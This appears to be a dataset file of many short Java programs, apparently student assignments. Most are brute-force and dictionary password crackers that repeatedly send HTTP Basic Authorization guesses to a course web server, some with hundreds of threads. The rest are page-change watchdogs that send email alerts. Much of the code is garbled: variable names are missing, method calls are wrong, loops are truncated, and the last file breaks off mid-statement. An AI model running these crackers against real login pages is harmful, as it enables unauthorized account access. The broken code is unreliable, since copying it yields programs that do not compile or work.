F1,text_1 185.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class Dictionary extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; try{ BufferedReader bufr = new BufferedReader (new FileReader (""words1.txt"")); String inputLine=""""; if (s.length() != 0) { inputLine = bufr.readLine(); while ((inputLine != null) && (inputLine.length() != 3)) { inputLine = bufr.readLine(); } login="":""+inputLine; ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+inputLine); } catch(Exception ex){} } public Dictionary() { super (""URL11 Password""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); MyAuthenticator = new MyAuthenticator(); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main (String args[]) { Frame f = new Dictionary(); f.setSize(300, 300); f.setVisible (true); } class MyAuthenticator { String getPasswordAuthentication(Frame f, String prompt) { final Dialog jd = new Dialog (f, ""Enter password"", true); jd.setLayout (new GridLayout (0, 1)); Label jl = new Label (prompt); jd.add (jl); TextField username = new TextField(); username.setBackground (Color.lightGray); jd.add (username); TextField password = new TextField(); password.setEchoChar ('*'); password.setBackground (Color.lightGray); jd.add (password); Button jb = new Button (""OK""); jd.add (jb); jb.addActionListener (new ActionListener() { public void actionPerformed (ActionEvent e) { jd.dispose(); } }); jd.pack(); jd.setVisible(true); return username.getText() + "":"" + password.getText(); } } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 042.java,"import java.net.*; import java.io.*; public class BruteForce { private String strUserName; private String strURL; private int iAttempts; public BruteForce(String strURL,String strUserName) { this.strURL = strURL; this.strUserName = strUserName; this.iAttempts = 0 ; } public String getPassword(){ URL u; String result =""""; PassGenBrute PG = new PassGenBrute(3); URLConnection uc; String strPassword = new String(); String strEncode; try{ while (result.compareTo(""HTTP/1.1 200 OK"")!=0){ strEncode = PG.getNewPassword(); u = new URL(strURL); uc = u.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); strPassword = strEncode; strEncode = strUserName + "":"" + strEncode; strEncode = new String(Base64.encode(strEncode.getBytes())); uc.setRequestProperty(""Authorization"","" "" + strEncode); result = uc.getHeaderField(0); uc = null; u = null; iAttempts++; } } catch (Exception me) { System.out.println(""MalformedURLException: ""+me); } return(strPassword); } public int getAttempts(){ return (iAttempts); }; public static void main (String arg[]){ timeStart = 0; timeEnd = 0; if (arg.length == 2) { BruteForce BF = new BruteForce(arg[0],arg[1]); System.out.println(""Processing ... ""); timeStart = System.currentTimeMillis(); System.out.println(""Password = "" + BF.getPassword()); timeEnd = System.currentTimeMillis(); System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)""); System.out.println(""Total Attempts = "" + BF.getAttempts()); } else { System.out.println(""[Usage] java BruteForce ""); } } } class PassGenBrute { private char[] password; public PassGenBrute(int lenght) { password = new char[lenght]; for (int i = 0; i < lenght; i++){ password[i] = 65; } password[0]--; } public String getNewPassword() throws PasswordFailureException{ password[0]++; try { for (int i=0; i 122) { password[i] = 65; password[i+1]++; } } } catch (RuntimeException re){ throw new PasswordFailureException (); } return new String(password); } } class PasswordFailureException extends RuntimeException { public PasswordFailureException() { } }" 133.java," import java.net.*; import java.io.*; public class Dictionary { private String myUsername = """"; private String myPassword = """"; private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2""; public static void main (String args[]) { Dictionary d = new Dictionary(); } public Dictionary() { generatePassword(); } public void generatePassword() { try { BufferedReader = new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")); { myPassword = bf.readLine(); crackPassword(myPassword); } while (myPassword != null); } catch(IOException e) { } } public void crackPassword(String passwordToCrack) { String data, dataToEncode, encodedData; try { URL url = new URL (urlToCrack); dataToEncode = myUsername + "":"" + passwordToCrack; encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes()); URLConnection urlCon = url.openConnection(); urlCon.setRequestProperty (""Authorization"", "" "" + encodedData); InputStream is = (InputStream)urlCon.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bf = new BufferedReader (isr); { data = bf.readLine(); System.out.println(data); displayPassword(passwordToCrack); } while (data != null); } catch (IOException e) { } } public void displayPassword(String foundPassword) { System.out.println(""\nThe cracked password is : "" + foundPassword); System.exit(0); } } " 119.java," import java.util.*; public class Dictionary { private String strUsername; private String strURL; public Dictionary(String username, String url) { strUsername = username; strURL = url; } public void run() { Date dtStart, dtEnd; PasswordFile pwd = new PasswordFile(""/usr/dict/words""); PasswordTest tester; int i=1; boolean bDone = false; Result res; dtStart = new Date(); while(!bDone) { tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword()); bDone = tester; i++; if(bDone) { res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i); System.out.print(res.toString()); } else { } if(pwd.getPassword() == null) { System.out.println(""Exhausted word file without finding password""); bDone = true; } } } public static void main(String[] args) { Dictionary dict = new Dictionary("""", ""http://sec-crack.cs.rmit.edu./SEC/2/""); dict.run(); } } " 214.java," import java.io.*; import java.net.*; import java.util.*; import java.*; public class WatchDog { public static void main (String args[]) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); int flag=1; int loop=0; String ServerType = new String(); String LastModified = null; String urlString = new String(""http://www.cs.rmit.edu./students/""); storeNewFile snf = new storeNewFile(""History.txt""); storeNewFile snf1 = new storeNewFile(""Comparison.txt""); String result = null; getImage myGI = new getImage(); Process myProcess; String line = null; stime = System.currentTimeMillis(); while(loop<5) { try { URL url = new URL (urlString); URLConnection uc = url.openConnection(); InputStream content = (InputStream)uc.getContent(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line2; while ((line2 = in.readLine()) != null) { pw.println (line2); } snf1.getStringW(); if(LastModified !=null) { differenceFile df = new differenceFile(); result = df.compareFile(); } if(LastModified==null) { System.out.println(""first check""); LastModified=uc.getHeaderField(1); ServerType=uc.getHeaderField(2); snf.getStringW(); myGI.tokenFile(""History.txt""); myProcess = Runtime.getRuntime().exec(""./compGIF.sh""); } else if(result==null) { myGI.tokenFile(""Comparison.txt""); myProcess = Runtime.getRuntime().exec(""./compGIF.sh""); BufferedReader inputStream= new BufferedReader(new FileReader(""pictResult.txt"")); line=inputStream.readLine(); if(line == null) { System.out.println("" changes far..""); } else { while(line!=null) { sendMail t = new sendMail(); t.sendMail(""yallara.cs.rmit.edu."", ""@cs.rmit.edu."",line); line=inputStream.readLine(); } } inputStream.close(); } else { snf.translogFile(result); sendMail t = new sendMail(); t.sendMail(""yallara.cs.rmit.edu."", ""@cs.rmit.edu."",result); System.out.println("" email is sent.. sent..sent..""); snf.getStringW(); } snf.closeStream(); snf1.closeStream(); try{ synchronized(url){ url.wait(15000); } } catch(InterruptedException e) { System.out.println(""Error in wait() method""); } catch(Exception e){ e.printStackTrace(); } loop++; endtime=System.currentTimeMillis(); System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds.""); }catch (MalformedURLException e) { pw.println (""Invalid URL""); }catch (IOException e) { pw.println (""Error URL""); } } System.out.println(""ETag is ""+ ServerType); System.out.println(""LastModified is ""+ LastModified); } }" 117.java," import java.util.*; public class CrackThread implements Runnable { private String strUsername; private String strURL; private int iSeed; private int iEnd; public CrackThread() { } public void setParams(String url, String username, int seed, int end) { strUsername = username; strURL = url; iSeed = seed; iEnd = end; } public void run() { Date dtStart, dtEnd; PasswordGen pwd = new PasswordGen(); PasswordTest tester; int i=1; boolean bDone = false; Result res; dtStart = new Date(); pwd.setSeed(iSeed); while(!bDone) { tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword()); bDone = tester; i++; if(i % 100 == 0) { System.out.println(pwd.getPassword()); } if(bDone) { res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i); System.out.print(res.toString()); } else { } if( i >= iEnd) bDone = true; } } } " 030.java," import java.awt.*; import java.util.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce { private String userPassword; private static int counter; public BruteForce(String username) { String user; String password; counter = 0; user = username; for (char i='A';i<='z';i++) { if (i == 'Z') i = 'a'; for (char j='A';j<='z';j++) { if (j == 'Z') j = 'a'; for (char k='A';k<='z';k++) { userPassword = user+ "":"" + i + j + k; if (k == 'Z') k = 'a'; System.out.print("".""); if (doEncoding(userPassword)== true) { System.out.println(""\n"" + ""Resultant Password is: "" + i + j + k); return; }; counter++; } } } } private boolean doEncoding(String userPassword) { String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes()); return doAttempt(encoding); } private boolean doAttempt (String encoding) { try { URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection uc = url.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); uc.setRequestProperty (""Get"", ""/SEC/2/ "" + ""HTTP/1.1""); uc.setRequestProperty (""Host"", ""sec-crack.cs.rmit.edu.""); uc.setRequestProperty (""Authorization"", "" "" + encoding); return uc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK""); } catch (MalformedURLException e) { System.out.println (""Invalid URL""); } catch (IOException e) { System.out.println (e.toString() ); } return false; } public static void main(String args[]) { Date sdate = new Date(); System.out.print(""BruteForce Attack starts at:"" + sdate + ""\n""); BruteForce bf = new BruteForce(args[0]); Date edate = new Date(); System.out.print(""BruteForce Attack ends at:"" + sdate + ""\n""); System.out.println(""Time taken by BruteForce is : "" + (edate.getTime() - sdate.getTime())/1000 + "" seconds \n""); System.out.print(""Attempts in this session:"" + counter + ""\n""); } } " 116.java," import java.io.*; public class PasswordFile { private String strFilepath; private String strCurrWord; private File fWordFile; private BufferedReader in; public PasswordFile(String filepath) { strFilepath = filepath; try { fWordFile = new File(strFilepath); in = new BufferedReader(new FileReader(fWordFile)); } catch(Exception e) { System.out.println(""Could not open file "" + strFilepath); } } String getPassword() { return strCurrWord; } String getNextPassword() { try { strCurrWord = in.readLine(); } catch (Exception e) { return null; } return strCurrWord; } } " 174.java," import java.util.*; import java.io.*; public class MyTimer { public static void main(String args[]) { Watchdog watch = new Watchdog(); Timer time = new Timer(); time.schedule(watch,864000000,864000000); } } " 044.java,"import java.net.*; import java.io.*; public class Dictionary { private String strUserName; private String strURL; private String strDictPath; private int iAttempts; public Dictionary(String strURL,String strUserName,String strDictPath) { this.strURL = strURL; this.strUserName = strUserName; this.iAttempts = 0 ; this.strDictPath = strDictPath; } public String getPassword(){ URL u; String result =""""; PassGenDict PG = new PassGenDict(3,strDictPath); URLConnection uc; String strPassword = new String(); String strEncode; try{ while (result.compareTo(""HTTP/1.1 200 OK"")!=0){ strEncode = PG.getNewPassword(); u = new URL(strURL); uc = u.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); strPassword = strEncode; strEncode = strUserName + "":"" + strEncode; strEncode = new String(Base64.encode(strEncode.getBytes())); uc.setRequestProperty(""Authorization"","" "" + strEncode); result = uc.getHeaderField(0); uc = null; u = null; iAttempts++; } } catch (Exception me) { System.out.println(""MalformedURLException: ""+me); } return(strPassword); } public int getAttempts(){ return (iAttempts); }; public static void main(String arg[]){ timeStart = 0; timeEnd = 0; if (arg.length == 3) { Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]); System.out.println(""Processing ... ""); timeStart = System.currentTimeMillis(); System.out.println(""Password = "" + BF.getPassword()); timeEnd = System.currentTimeMillis(); System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)""); System.out.println(""Total Attempts = "" + BF.getAttempts()); } else { System.out.println(""[Usage] java BruteForce ""); } } } class PassGenDict { private char[] password; private String line; int iPassLenght; private BufferedReader inputFile; public PassGenDict(int lenght, String strDictPath) { try{ inputFile = new BufferedReader(new FileReader(strDictPath)); } catch (Exception e){ } iPassLenght = lenght; } public String getNewPassword() throws PasswordFailureException{ try { { line = inputFile.readLine(); }while (line.length() != iPassLenght); } catch (Exception e){ throw new PasswordFailureException (); } return (line); } } class PasswordFailureException extends RuntimeException { public PasswordFailureException() { } }" 120.java," public class PasswordGen { private int iLastSeed = 0; private int iPasswordLength = 3; private String strPassword; public PasswordGen() { strPassword = """"; } public boolean setSeed(int iSeedVal) { iLastSeed = iSeedVal; return true; } public String getPassword() { return strPassword; } public String getPassword(int iSeed) { int iRemainder, iAliquot, i; int arrChars[]; boolean fDone; arrChars = new int[iPasswordLength]; for(i = 0; i?:{}|""); out.flush(); out.print(); out=null; BufferedReader in1=new BufferedReader(new FileReader(file)); BufferedReader in2=new BufferedReader(new FileReader(tempfile1)); String msg=""\n""; String temp1="""",temp2="""",oldText="""",newText=""""; BufferedReader in0=new BufferedReader(new FileReader(tempfile1)); while (temp1.equals(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""+""\n"")==false) { temp1=in0.readLine(); temp1=temp1+""\n""; newText=newText+temp1; } in0.print(); in0=null; out=new PrintWriter(new FileOutputStream(tempfile1)); out.println(newText); out.flush(); out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""); out.flush(); out.print(); out=null; newText=""""; temp1="" ""; while (temp1.equals(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""+""\n"")==false) { temp1=in1.readLine(); temp1=temp1+""\n""; temp2=in2.readLine(); temp2=temp2+""\n""; oldText=oldText+temp1; newText=newText+temp2; } in2.print(); in2=null; out=new PrintWriter(new FileOutputStream(tempfile2)); out.println(oldText); out.flush(); out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""); out.flush(); out.print(); out=null; msg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3); String data=""""; try{ FileReader fin=new FileReader(tempfile3); int ch=fin.print(); while(ch!= -1) { data=data+""""+(char)ch; ch=fin.print(); } } catch(FileNotFoundException m){} msg=msg+data; temp1=in1.readLine(); int numImg=Integer.parseInt(temp1); if(numImg != images.length) msg=msg+""The number of images has chnaged.\n The number of images before was ""+numImg+"" \n While the number of images found now is ""+images.length+"" .\n""; else msg=msg+"" is change in the number of images the .\n""; String iText1="""",iText2=""""; for(int i=0;i?:{}|""); out.flush(); out.print(); out=null; in2=new BufferedReader(new FileReader(tempfile1)); while (temp1.equals(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""+""\n"")==false) { temp1=in1.readLine(); temp1=temp1+""\n""; temp2=in2.readLine(); temp2=temp2+""\n""; iText1=iText1+temp1; iText2=iText2+temp2; } in2.print(); in2=null; if(iText1.equals(iText2)) msg=msg+"" is change in the Image number ""+(i+1)+"". \n""; else msg=msg+""The Image number ""+(i+1)+"" has changed. \n""; } return msg; } private String[] getImages(String text) throws IOException { String [] images,urls; java.util.ArrayList alist=new java.util.ArrayList(); String t=""""; boolean img=false; int len=text.length(); char ch,last=' '; int c=0; while(c') { last='>'; if(img==true) { System.out.println(); int n=0; char tch,tlast=' '; String imgPath="""",tn=""""; boolean src=false; while(n?:{}|""); out.flush(); if(images.length>0) { out.println(images.length+""""); out.flush(); } for(int i=0;i?:{}|""); out.flush(); } } public String getResource(String url) throws IOException { System.out.println(""url=""+url); String urlData=new String(""""); InputStreamReader in=new InputStreamReader(new URL(url).openStream()); int ch=in.print(); while(ch!= -1) { urlData=urlData+(char)ch; ch=in.print(); } return urlData; } public boolean mail (String msg) throws IOException { boolean ret=true; try { Socket csoc=new Socket(""yallara.cs.rmit.edu."",25); BufferedReader in=new BufferedReader(new InputStreamReader(csoc.getInputStream())); PrintWriter out=new PrintWriter(csoc.getOutputStream(),true); out.println(""HELO ""+host); System.out.println(in.readLine()); out.println(""MAIL FROM:""+from); System.out.println(in.readLine()); out.println(""RCPT :""); System.out.println(in.readLine()); out.println(""DATA""); System.out.println(in.readLine()); out.println(""SUBJECT:""+subject); System.out.println(in.readLine()); out.println(msg); out.println("".""); System.out.println(in.readLine()); out.println(""QUIT""); System.out.println(in.readLine()); } catch(Exception e) { e.printStackTrace(); System.out.println(""Some error occoured while communicating server""); ret=false; return ret; } System.out.println(""**************************************\nMAIL ->""+msg); return ret; } public static void main (String[] args) { System.out.println(""Usage : \n java WatchDog [First] \n {The First at the end is used when running the watch dog for a new URL for the first Time}""); boolean flag=false; int num=args.length-1; if(args[args.length-1].equalsIgnoreCase(""First"")) { num--;; flag=true; } System.out.println(args[num]); WatchDog w=new WatchDog(flag); String []u=new String[num]; for(int i=0;i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 228.java," import java.io.*; import java.*; import java.net.*; import java.util.*; public class BruteForce { public static void main (String[] args) throws IOException { BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in)); int start = new Date().getTime(); String[] letters = {""a"",""A"",""b"",""B"",""c"",""C"",""d"",""D"",""e"",""E"",""f"",""F"",""g"",""G"", ""h"",""H"",""i"",""I"",""j"",""J"",""k"",""K"",""l"",""L"",""m"",""M"",""n"",""N"", ""o"",""O"",""p"",""P"",""q"",""Q"",""r"",""R"",""s"",""S"",""t"",""T"",""u"",""U"", ""v"",""V"",""w"",""W"",""x"",""X"",""y"",""Y"",""z"",""Z""}; int len = 52; int total = 52; String[] cad = new String[total]; int t=0; for (int i=0;i<=len-1;i++){ cad[t] = letters[i]; t++; } for (int i=0;i<=len-1;i++){ for (int j=0;j<=len-1;j++){ cad[t] = letters[j]+letters[i]; t++; }} for (int i=0;i<=len-1;i++){ for (int j=0;j<=len-1;j++){ for (int k=0;k<=len-1;k++){ cad[t] = letters[k]+letters[j]+letters[i]; t++; }}} int response = 0; for (t=0;t<=total-1;t++){ String uname = """"; String userinfo = uname + "":"" + cad[t]; try{ String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes()); URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); HttpURLConnection uc = (HttpURLConnection)url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); response = uc.getResponseCode(); if (response == 200) break; else uc.disconnect(); } catch(IOException e){ System.err.println(e); e.printStackTrace(); } catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); } } System.out.println(""Response ""+t+"" was ""+response); System.out.println(""The successful password was ""+cad[t]); finish = new Date().getTime(); float totaltime = (float)(finish-start)/1000; System.out.println(""Total time: ""+totaltime+"" seconds""); } } " 122.java," import java.net.*; import java.text.*; import java.util.*; import java.io.*; public class WatchDog { public WatchDog() { StringBuffer stringBuffer1 = new StringBuffer(); StringBuffer stringBuffer2 = new StringBuffer(); int i,j = 0; try{ URL yahoo = new URL(""http://www.cs.rmit.edu./students/""); BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream())); String inputLine = """"; String inputLine1 = """"; String changedtext= """"; String changedflag= """"; Thread.sleep(180); BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream())); while ((inputLine = in.readLine()) != null) { inputLine1 = in1.readLine(); if (inputLine.equals(inputLine1)) { System.out.println(""equal""); } else { System.out.println(""Detected a Change""); System.out.println(""Line Before the change:"" + inputLine); System.out.println(""Line After the change:"" + inputLine1); changedtext = changedtext + inputLine + inputLine1; changedflag = ""Y""; } } if (in1.readLine() != null ) { System.out.println(""Detected a Change""); System.out.println(""New Lines Added ""); changedtext = changedtext + ""New Lines added""; changedflag = ""Y""; } in.print(); in1.print(); if (changedflag.equals(""Y"")) { String smtphost =""smtp.mail.rmit.edu."" ; String from = ""@rmit.edu.""; String = ""janaka1@optusnet.."" ; } } catch(Exception e){ System.out.println(""exception:"" + e);} } public static void main (String[] args) throws Exception { WatchDog u = new WatchDog(); } } " 107.java," import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the watchddog Props""); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream(""/watchdog.properties""); testProps.load(fis); } } } " 224.java," import java.io.*; import java.text.*; import java.util.*; import java.net.*; public class Dictionary extends Thread { private static final String USERNAME = """"; private static final String DICTIONARY_FILE = ""/usr/share/lib/dict/words""; private static int NUMBER_OF_THREAD = 500; private static Date startDate = null; private static Date endDate = null; private String address; private String password; public Dictionary(String address, String password) { this.address = address; this.password = password; } public static void main(String[] args) throws IOException { if (args.length < 1) { System.err.println(""Invalid usage!""); System.err.println(""Usage: java Dictionary ""); System.exit(1); } try { dic(args[0], USERNAME); } catch(Exception e) { e.printStackTrace(); System.exit(1); } } public static void dic(String address, String user) { Dictionary [] threads = new Dictionary[NUMBER_OF_THREAD]; int index = 0; startDate = new Date(); try { BufferedReader buff = new BufferedReader(new FileReader(DICTIONARY_FILE)); String password = null; while((password = buff.readLine()) != null) { if (threads[index] != null && threads[index].isAlive()) { try { threads[index].join(); } catch(InterruptedException e) {} } threads[index] = new Dictionary(address, password.trim()); threads[index].get(); index = (index++) % threads.length; } } catch(Exception e) { e.printStackTrace(); } } public void run() { if (endDate != null) return; try { URLConnection conn = (new URL(address)).openConnection(); conn.setDoInput(true); if (login(conn, USERNAME, password)) { endDate = new Date(); System.out.println(""Found the password: \""""+password+""\""!""); SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:""); System.out.println(""Process started at: ""+format.format(startDate)); System.out.println(""Process started at: ""+format.format(endDate)); double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; System.out.println(""Time taken: ""+timeTaken+"" minutes""); System.exit(0); } else { System.out.println(""Password: \""""+password+""\"" Failed!""); return; } } catch(Exception e) { e.printStackTrace(); } } public static boolean login(URLConnection conn, String user, String pass) { try { String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass); conn.setRequestProperty (""Authorization"", encodeAuth); conn.connect(); conn.getInputStream(); } catch(Exception e) { return false; } return true; } } " 021.java," import java.util.*; import java.net.*; import java.io.*; import misc.BASE64Encoder; import javax.swing.*; public class ConnectionThread extends Thread { private String url; private URL currURL; private URLConnection conn; private HoldSharedData sharedData; private int noOfThread; private int batch; public ConnectionThread( String pageURL, int wThread, int newBatch, HoldSharedData data ) { super(); url = pageURL; noOfThread = wThread; batch = newBatch; sharedData = data; } public void run() { try { currURL = new URL( url ); for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) && (i < sharedData.getPwdCount()); i ++ ) { String pwd = sharedData.getPasswordAt( i ); conn = currURL.openConnection(); if (conn instanceof HttpURLConnection) { HttpURLConnection hconn = (HttpURLConnection) conn; hconn.setFollowRedirects(false); String cad = "" "" + based64Encoder( "":"" + pwd ); hconn.setRequestProperty( ""Authorization"", cad ); hconn.connect(); int response = hconn.getResponseCode(); sharedData.setNumOfConnections(); if( response == 200 ) { totalTime = System.currentTimeMillis() - sharedData.getStartTime(); int numOfConnections = sharedData.getNumOfConnections(); System.out.println( ""Password is "" + pwd ); System.out.println( ""Total Time(seconds)= "" + (double)totalTime/1000 ); System.out.println( ""Total Number Of Connections: "" + numOfConnections ); System.exit(0); } else { hconn.disconnect(); } } } } catch( MalformedURLException mue ) { String msg = ""Unable parse URL: "" + url; System.err.println( msg ); } catch( IOException ioe ) { System.err.println( ""I/O Error : "" + ioe ); } } private String based64Encoder( String pwd ) { String str = pwd; byte[] buf = str.getBytes(); String encodedStr = new misc.BASE64Encoder().encode(buf); return encodedStr; } } " 140.java,"import java.io.*; import java.util.*; import java.net.*; import java.misc.BASE64Encoder; public class BruteForce { public BruteForce() { } public static void main(String[] args) { try { if (args.length != 2 ) { System.out.println(""Usage: java BruteForce ""); System.exit(1); } timeStart = System.currentTimeMillis(); String strPass = applyBruteForce (args[0], args[1]); timeEnd = System.currentTimeMillis(); System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass); System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000)); } catch(Exception e) { e.printStackTrace(); } } static String applyBruteForce (String URL, String UserName) { String strPass = """"; char ch1, ch2, ch3; System.out.print(""\n\n\n Applying BruteForce Attack: ""); for (ch1 = 'A' ; ch1 <= 'z' ; ch1 ++) { if ( ch1 > 'Z' && ch1 < 'a' ) ch1 = 'a'; for (ch2 = 'A' ; ch2 <= 'z' ; ch2 ++) { if ( ch2 > 'Z' && ch2 < 'a' ) ch2 = 'a'; for (ch3 = 'A' ; ch3 <= 'z' ; ch3 ++) { if ( ch3 > 'Z' && ch3 < 'a' ) ch3 = 'a'; strPass = String.valueOf(ch1) + String.valueOf(ch2) + String.valueOf(ch3); System.out.print(""\b\b\b"" + strPass ); boolean boolResult = applyPass ( URL, UserName, strPass ); if (boolResult) { return strPass; } } } } return ""Could not find match""; } private static boolean applyPass (String strURL, String strUserName, String strPass ) { BASE64Encoder myEncoder = new BASE64Encoder (); try { String str = strUserName + "":"" + strPass; String strEncode = myEncoder.encode(str.getBytes()); URL url = new URL (strURL); URLConnection urlConn = url.openConnection(); urlConn.setRequestProperty (""Authorization"", "" "" + strEncode); urlConn.connect(); String strReply = urlConn.getHeaderField(0); if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") ) { return true; } } catch (Exception e) { e.printStackTrace (); } return false; } } " 220.java,"import java.io.*; public class UnixMailing { private String buffer; private String email; public static void main (String [] args) { UnixMailing obj = new UnixMailing(""@hotmail.""); obj.println(""hehehe""); obj.sent(); } public UnixMailing(String email) { this.email = email; buffer = """"; } public boolean sent() { String command = ""mail ""+email; if (buffer.length() <= 0) return false; try { Process proc = (Runtime.getRuntime()).exec(command); DataOutputStream out = new DataOutputStream(proc.getOutputStream()); out.writeBytes(buffer); out.flush(); out.print(); proc.waitFor(); buffer = """"; return true; } catch(Exception e) { 